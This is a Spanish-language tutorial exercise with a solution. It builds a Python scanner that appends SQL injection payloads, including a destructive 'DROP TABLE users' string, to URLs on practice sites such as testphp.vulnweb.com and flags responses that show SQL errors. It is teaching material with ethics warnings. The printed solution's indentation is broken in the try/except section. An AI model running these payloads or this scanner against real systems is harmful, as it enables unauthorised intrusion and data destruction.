

Ejercicio Práctico: Automatización de Pruebas de SQL Injection sobre Varias URLs

Descripción del ejercicio

El objetivo es construir un script que permita automatizar la detección de posibles inyecciones SQL en múltiples URLs de un entorno de pruebas. Utilizando una lista de payloads, el script probará distintos parámetros e identificará comportamientos que indiquen vulnerabilidades.

Objetivos de aprendizaje

- Automatizar la prueba de múltiples vectores de SQL Injection.
 - Utilizar técnicas básicas de fuzzing sobre parámetros de URL.
 - Detectar indicios de vulnerabilidad en respuestas del servidor.
 - Generar un pequeño reporte con los endpoints potencialmente vulnerables.
-

Instrucciones

Asegúrate de tener la librería `requests` instalada:

```
pip install requests
```

1.

Crea un archivo llamado `targets.txt` que contenga una lista de URLs vulnerables (por ejemplo de `testphp.vulnweb.com` o DVWA), como:

```
http://testphp.vulnweb.com/artists.php?artist=  
http://testphp.vulnweb.com/showimage.php?file=
```

2.

Define una lista de payloads SQL clásicos como:

```
payloads = ["' OR '1'='1", "';--", "' OR 1=1 --", "' OR 'x'='x"]
```

3.

4. Crea un script que:

- Lea las URLs del archivo.
- Inyecte cada payload en cada URL.
- Analice las respuestas buscando indicios de error SQL o respuestas anómalas.
- Imprima un informe de las URLs que respondieron de forma sospechosa.

Ejemplo de payloads para usar

```
payloads = [  
    "' OR '1'='1",  
    "' OR 1=1 --",  
    "'; DROP TABLE users; --",  
    "' UNION SELECT null,null --",  
    "' OR 'a'='a"  
]
```

Resultado esperado

Un pequeño reporte en consola indicando algo como:

[+] Posible SQLi en: <http://testphp.vulnweb.com/artists.php?artist=' OR 1=1 -->

[+] Posible SQLi en: <http://testphp.vulnweb.com/showimage.php?file=' OR 'a'='a>

Consideraciones éticas

- Este tipo de escaneo **solo debe hacerse en entornos de pruebas o con autorización previa.**

- Automatizar el reconocimiento ofensivo sin control puede ser visto como ataque, incluso si no se explota.

✓ Solución: `sql_injection_scanner.py`

```
import requests
```

```
# Lista de payloads clásicos de SQL Injection
```

```
payloads = [  
    "' OR '1'='1",  
    "' OR 1=1 --",  
    "; DROP TABLE users; --",  
    "' UNION SELECT null,null --",  
    "' OR 'a'='a"  
]
```

```
# Palabras clave para detectar comportamiento anómalo
```

```
indicadores = ["mysql", "sql", "syntax", "error", "warning", "unexpected"]
```

```
# Leer las URLs objetivo desde un archivo de texto
```

```
with open("targets.txt", "r") as file:
```

```
    urls = [line.strip() for line in file.readlines() if line.strip()]
```

```
print("🔍 Iniciando escaneo automatizado de inyecciones SQL...\n")
```

```
# Recorrer cada URL y probar cada payload
```

```
for url in urls:
```

```
    vulnerable = False
```

```
    for payload in payloads:
```

```
        try:
```

```
            prueba = url + payload
```

```
            response = requests.get(prueba, timeout=5)
```

```
            contenido = response.text.lower()
```

```
            if any(palabra in contenido for palabra in indicadores):
```

```
                print(f"[+] Posible SQLi en: {prueba}")
```

```
                vulnerable = True
```

```
                break # No probar más payloads si ya se sospecha vulnerabilidad
```

```
except requests.RequestException as e:
```

```
    print(f"[!] Error al acceder a: {url} - {str(e)}")
```

```
if not vulnerable:
```


```
    print(f"[-] {url} parece no vulnerable.")
```

```
print("\n✅ Escaneo completado.")
```

Ejemplo de contenido del archivo **targets.txt**

http://testphp.vulnweb.com/artists.php?artist=
http://testphp.vulnweb.com/showimage.php?file=

Posible salida en consola

 Iniciando escaneo automatizado de inyecciones SQL...

[+] Posible SQLi en: http://testphp.vulnweb.com/artists.php?artist=' OR 1=1 --
[-] http://testphp.vulnweb.com/showimage.php?file= parece no vulnerable.

✅ Escaneo completado.

Puntos clave de la solución

- Se realiza **fuzzing simple** sobre parámetros usando múltiples payloads conocidos.
 - Se identifican **posibles vulnerabilidades** analizando texto de error devuelto por el servidor.
 - El script es **modular, seguro y fácil de ampliar** (puedes agregar más payloads o exportar los resultados a un archivo).
-

Ética y legalidad

Esta herramienta es únicamente para **uso educativo o profesional en entornos de prueba autorizados**. No debe ejecutarse en sistemas reales sin consentimiento escrito del propietario.
